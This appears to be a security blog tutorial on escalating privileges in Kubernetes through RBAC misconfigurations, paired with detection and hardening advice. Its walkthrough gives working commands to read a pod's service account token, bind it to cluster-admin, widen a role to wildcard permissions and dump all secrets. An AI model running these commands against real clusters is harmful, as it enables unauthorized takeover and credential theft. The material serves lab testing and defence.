Introduction / Overview
Disclaimer: This article is for education and authorized security testing only. Only test clusters you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal.
Kubernetes RBAC (Role-Based Access Control) is the primary authorization layer that decides whether a request to the API server is allowed. In practice, RBAC is one of the most commonly misconfigured surfaces in a cluster: over-broad Roles, dangerous verbs like escalate and bind, and service account tokens mounted into every pod. Once an attacker lands inside a single pod, RBAC enumeration is usually the fastest path from "low-priv container" to cluster-admin.
This post walks through the attacker's workflow: enumerating permissions with kubectl auth can-i, abusing the escalate and bind verbs, and pivoting through service account tokens. We weight the Detection & Defense section equally.
How it works / Background
RBAC has four object types:
- Role / ClusterRole — a set of
rules, each grantingverbs(get, list, create,escalate,bind,impersonate, …) onresources(pods, secrets, roles, …). - RoleBinding / ClusterRoleBinding — binds a Role/ClusterRole to a subject (a user, group, or ServiceAccount).
A Role is namespaced; a ClusterRole is cluster-wide. Crucially, a ClusterRoleBinding grants the referenced ClusterRole across all namespaces — a frequent source of accidental over-permissioning.
Every pod, unless told otherwise, gets a service account token mounted at:
/var/run/secrets/kubernetes.io/serviceaccount/tokenPlaintextThis is a signed JWT the kubelet projects into the pod. If an attacker reads it (via RCE, SSRF to the metadata-like API, or a leaked manifest), they can authenticate to the API server as that service account and inherit all of its RBAC permissions.
The two verbs that matter most for escalation are:
escalate— lets a subject create/update a Role or ClusterRole with permissions greater than they currently hold. Normally Kubernetes blocks privilege escalation at the API server; theescalateverb explicitly bypasses that guardrail.bind— lets a subject create a RoleBinding/ClusterRoleBinding referencing a role they don't fully possess. Combined with the existingcluster-adminClusterRole, this is game over.
This maps to MITRE ATT&CK T1078.004 (Valid Accounts: Cloud Accounts) and T1548 (Abuse Elevation Control Mechanism).
Prerequisites / Lab setup
Spin up a disposable local cluster. kind is ideal:
kind create cluster --name rbac-lab
kubectl cluster-info --context kind-rbac-labBashCreate a deliberately weak service account that has the escalate verb on roles:
kubectl create serviceaccount lowpriv -n default
kubectl create clusterrole role-editor \
--verb=get,list,create,update,escalate,bind \
--resource=roles,rolebindings,clusterroles,clusterrolebindings
kubectl create clusterrolebinding lowpriv-bind \
--clusterrole=role-editor \
--serviceaccount=default:lowprivBashTo act as the service account, mint a token (Kubernetes 1.24+ no longer auto-creates Secret tokens):
TOKEN=$(kubectl create token lowpriv -n default)
APISERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')BashWalkthrough / PoC
Step 1 — Find and use the token
Inside a compromised pod you would simply read the projected file:
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespaceBashFor the lab we use $TOKEN directly with kubectl:
alias kc='kubectl --token="$TOKEN" --server="$APISERVER" --insecure-skip-tls-verify'BashStep 2 — Enumerate permissions with can-i
kubectl auth can-i is the single most useful enumeration command. The --list flag dumps everything the current identity can do:
kc auth can-i --listBashProbe for the high-value verbs and resources:
kc auth can-i create clusterrolebindings # bind -> cluster-admin?
kc auth can-i escalate clusterroles # rewrite a role's rules
kc auth can-i create pods # token-stealing / hostPath escape
kc auth can-i get secrets --all-namespaces # harvest other SA tokens
kc auth can-i '*' '*' # full god-mode checkBashFor broad sweeps from a workstation, kubectl-who-can (from Aqua) and the rbac-tool plugin are excellent:
kubectl who-can create clusterrolebindings
kubectl rbac-tool analysis # flags risky subjects automaticallyBashStep 3a — Escalate via the bind verb
If we can create a ClusterRoleBinding, we simply bind ourselves to the built-in cluster-admin ClusterRole:
cat <<'EOF' | kc apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: pwn
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: lowpriv
namespace: default
EOFBashWithout the bind verb the API server rejects this with attempt to grant extra privileges. With it, the binding is created and lowpriv is now cluster-admin.
Step 3b — Escalate via the escalate verb
If we can't bind but can escalate, we rewrite an existing ClusterRole that we are already bound to, adding wildcard permissions to it:
cat <<'EOF' | kc apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: role-editor
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
EOFBashBecause lowpriv is bound to role-editor via lowpriv-bind, expanding that role instantly grants lowpriv everything. Verify:
kc auth can-i '*' '*' # yes
kc get secrets -A # harvest every token in the clusterBashStep 4 — Pivot and persist
With cluster-admin, an attacker harvests secrets, reads other service account tokens, schedules a privileged pod that mounts the host filesystem (hostPath: /), or reads the kubelet's credentials to move toward the underlying nodes and cloud IAM. See also our notes on container escape techniques and cloud metadata SSRF.
Mermaid diagram

The diagram shows the path from a single compromised pod's token through RBAC enumeration to one of several escalation primitives that all converge on cluster-admin.
Detection & Defense (Blue Team)
Defense here is mostly about removing the primitives the attacker depends on.
1. Audit and minimize dangerous verbs. Treat escalate, bind, impersonate, and wildcard * rules as critical findings. Hunt for them:
kubectl get clusterroles -o json | \
jq -r '.items[] | select(.rules[]? | (.verbs[]? == "escalate" or .verbs[]? == "bind" or .verbs[]? == "*")) | .metadata.name'
kubectl rbac-tool analysis # third-party, scores risky bindingsBashTools like kubescape, Polaris, and kube-bench (CIS Kubernetes Benchmark) flag over-permissioned subjects in CI/CD.
2. Disable automatic token mounting. Most workloads never call the API server. Set automountServiceAccountToken: false on the service account or pod spec so a compromised container has no token to steal:
apiVersion: v1
kind: ServiceAccount
metadata:
name: app
automountServiceAccountToken: falseYAML3. Use short-lived projected tokens. On 1.24+, tokens are bound to a pod and expire (expirationSeconds). Avoid legacy long-lived Secret-based tokens entirely.
4. Enable and monitor audit logs. Configure an audit policy and alert on RBAC write operations. The key signals are create/update on clusterrolebindings, roles, and clusterroles, and any request that includes the escalate or bind verb. Sample Falco rule trigger:
- rule: K8s ClusterRoleBinding Created
condition: kevt and clusterrolebinding and kcreate
output: ClusterRoleBinding created (user=%ka.user.name name=%ka.target.name)
priority: WARNINGYAML5. Admission control. Use OPA Gatekeeper or Kyverno to deny RoleBindings that reference cluster-admin, block wildcard roles, and prevent privileged pods (hostPath, privileged: true). Enforce Pod Security Admission at the restricted level.
6. Detect anomalous API usage. Alert when a service account token is used from an unexpected IP, or when a workload SA suddenly performs get secrets --all-namespaces. This maps to ATT&CK T1552.007 (Container API) and T1078.004.
7. Least privilege by default. Scope Roles to specific namespaces and resource names (resourceNames), avoid ClusterRoleBinding unless genuinely cluster-wide, and review bindings to the default service account.
Conclusion
Kubernetes RBAC failures rarely require an exploit — they require enumeration. A single mounted service account token plus kubectl auth can-i --list exposes whether the escalate or bind verbs are reachable, and either one is a direct route to cluster-admin. Defenders win by removing tokens that nobody needs, eliminating wildcard and escalate/bind grants, and alerting on RBAC writes via audit logs and admission control. For more on the post-exploitation phase, see our Kubernetes secrets harvesting write-up.
References
- MITRE ATT&CK — T1078.004 Valid Accounts: Cloud Accounts: https://attack.mitre.org/techniques/T1078/004/
- MITRE ATT&CK — T1548 Abuse Elevation Control Mechanism: https://attack.mitre.org/techniques/T1548/
- Kubernetes Docs — RBAC Authorization (Privilege escalation: escalate/bind): https://kubernetes.io/docs/reference/access-authn-authz/rbac/
- Kubernetes Docs — Service Account Tokens: https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/
- HackTricks — Kubernetes Pentesting: https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security
- Aqua Security — kubectl-who-can: https://github.com/aquasecurity/kubectl-who-can
- CIS Kubernetes Benchmark / kube-bench: https://github.com/aquasecurity/kube-bench
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments